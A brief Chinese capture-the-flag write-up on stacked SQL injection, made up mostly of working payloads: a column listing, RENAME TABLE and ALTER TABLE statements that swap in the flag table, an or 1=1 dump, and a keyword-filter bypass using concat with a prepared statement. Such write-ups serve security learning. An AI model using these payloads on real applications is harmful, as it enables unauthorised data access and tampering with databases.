堆叠注入

![P_Q[)R%LA]~ZXGG3PJ@_FN.png
1’;show columns from 1919810931114514;#
由于我们默认查询的表是word,因此我们要将word表改名,把我们需要的表改成word
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#
再查询 1’ or 1=1#
得到flag;
或者使用预处理语句绕过过滤
1';set @a=concat("sel","ect flag from `1919810931114514`");prepare sql from @a;execute sql;#
